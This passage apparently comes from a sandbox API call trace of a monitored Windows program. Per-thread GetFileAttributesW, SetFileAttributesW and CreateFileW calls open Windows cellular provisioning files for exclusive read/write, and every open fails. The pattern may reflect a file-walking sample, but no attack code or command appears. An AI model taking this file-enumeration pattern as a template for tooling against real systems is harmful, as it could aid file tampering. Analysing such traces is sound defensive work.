Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.405] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\492__connections_cellular_rural cellular corporation (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.405] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.405] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae40) returned 1 [0181.405] RtlExitUserThread (Status=0x0) Thread: id = 3086 os_tid = 0xa4c [0181.287] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\493__connections_cellular_suncom (united states)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.404] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.404] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\493__connections_cellular_suncom (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.404] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.404] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305a0c0) returned 1 [0181.404] RtlExitUserThread (Status=0x0) Thread: id = 3087 os_tid = 0xa8c [0181.287] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\494__connections_cellular_t-mobile usa (united states)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.403] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.403] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\494__connections_cellular_t-mobile usa (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.403] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.403] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee310) returned 1 [0181.403] RtlExitUserThread (Status=0x0) Thread: id = 3088 os_tid = 0x1304 [0181.288] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\495__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0181.368] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0181.368] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\495__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.368] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0181.368] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30591f8) returned 1 [0181.368] RtlExitUserThread (Status=0x0) Thread: id = 3089 os_tid = 0x11d8 [0181.288] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\496__connections_cellular_t-mobile usa_ tracfone (united states)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.367] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.367] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\496__connections_cellular_t-mobile usa_ tracfone (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.367] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.367] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0181.367] RtlExitUserThread (Status=0x0) Thread: id = 3090 os_tid = 0x11dc [0181.289] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\497__connections_cellular_t-mobile usa_ idt (united states)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.366] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.366] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\497__connections_cellular_t-mobile usa_ idt (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.366] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.366] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6cfe8) returned 1 [0181.366] RtlExitUserThread (Status=0x0) Thread: id = 3091 os_tid = 0x11e4 [0181.289] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\498__connections_cellular_t-mobile usa_ simple mobile (united states)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.364] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.364] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\498__connections_cellular_t-mobile usa_ simple mobile (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.365] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.365] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0b10) returned 1 [0181.365] RtlExitUserThread (Status=0x0) Thread: id = 3092 os_tid = 0x11e8 [0181.289] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\499__connections_cellular_t-mobile usa_ walmart (united states)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.401] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.402] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\499__connections_cellular_t-mobile usa_ walmart (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.402] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\499__Connections_Cellular_T-Mobile USA_ Walmart (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.402] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0c90) returned 1 [0181.402] RtlExitUserThread (Status=0x0) Thread: id = 3093 os_tid = 0x11f0 [0181.290] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\49__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0181.400] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.400] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\49__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.400] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.401] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30546f8) returned 1 [0181.401] RtlExitUserThread (Status=0x0) Thread: id = 3094 os_tid = 0x11f4 [0181.290] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\4__connections_cellular_claro (argentina)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.399] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.399] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\4__connections_cellular_claro (argentina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.399] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.399] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f018d8) returned 1 [0181.399] RtlExitUserThread (Status=0x0) Thread: id = 3095 os_tid = 0x11f8 [0181.291] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\500__connections_cellular_t-mobile usa_ roam mobility (united states)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.398] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.398] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\500__connections_cellular_t-mobile usa_ roam mobility (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.398] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.398] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0e08) returned 1 [0181.398] RtlExitUserThread (Status=0x0) Thread: id = 3096 os_tid = 0x11fc [0181.291] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\501__connections_cellular_t-mobile usa_ tracfone (united states)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.396] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.397] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\501__connections_cellular_t-mobile usa_ tracfone (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.397] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.397] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96a28) returned 1 [0181.397] RtlExitUserThread (Status=0x0) Thread: id = 3097 os_tid = 0x1200 [0181.291] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\502__connections_cellular_t-mobile usa_ aspider (united states)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.395] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.395] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\502__connections_cellular_t-mobile usa_ aspider (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.395] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.396] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96ba0) returned 1 [0181.396] RtlExitUserThread (Status=0x0) Thread: id = 3098 os_tid = 0x1208 [0181.292] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\503__connections_cellular_t-mobile usa_ wyless (united states)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.394] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.394] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\503__connections_cellular_t-mobile usa_ wyless (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.394] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.394] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96d18) returned 1 [0181.394] RtlExitUserThread (Status=0x0) Thread: id = 3099 os_tid = 0x120c [0181.292] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\504__connections_cellular_t-mobile usa_ solavei (united states)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.393] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.393] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\504__connections_cellular_t-mobile usa_ solavei (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.393] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.393] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d3b0) returned 1 [0181.393] RtlExitUserThread (Status=0x0) Thread: id = 3100 os_tid = 0x121c [0181.293] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\505__connections_cellular_verizon (united states) admin_i1$(__mvid)@wap.provxml")) returned 0x20 [0181.363] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.363] CreateFileW (lpFileName="C:\\Users\\All 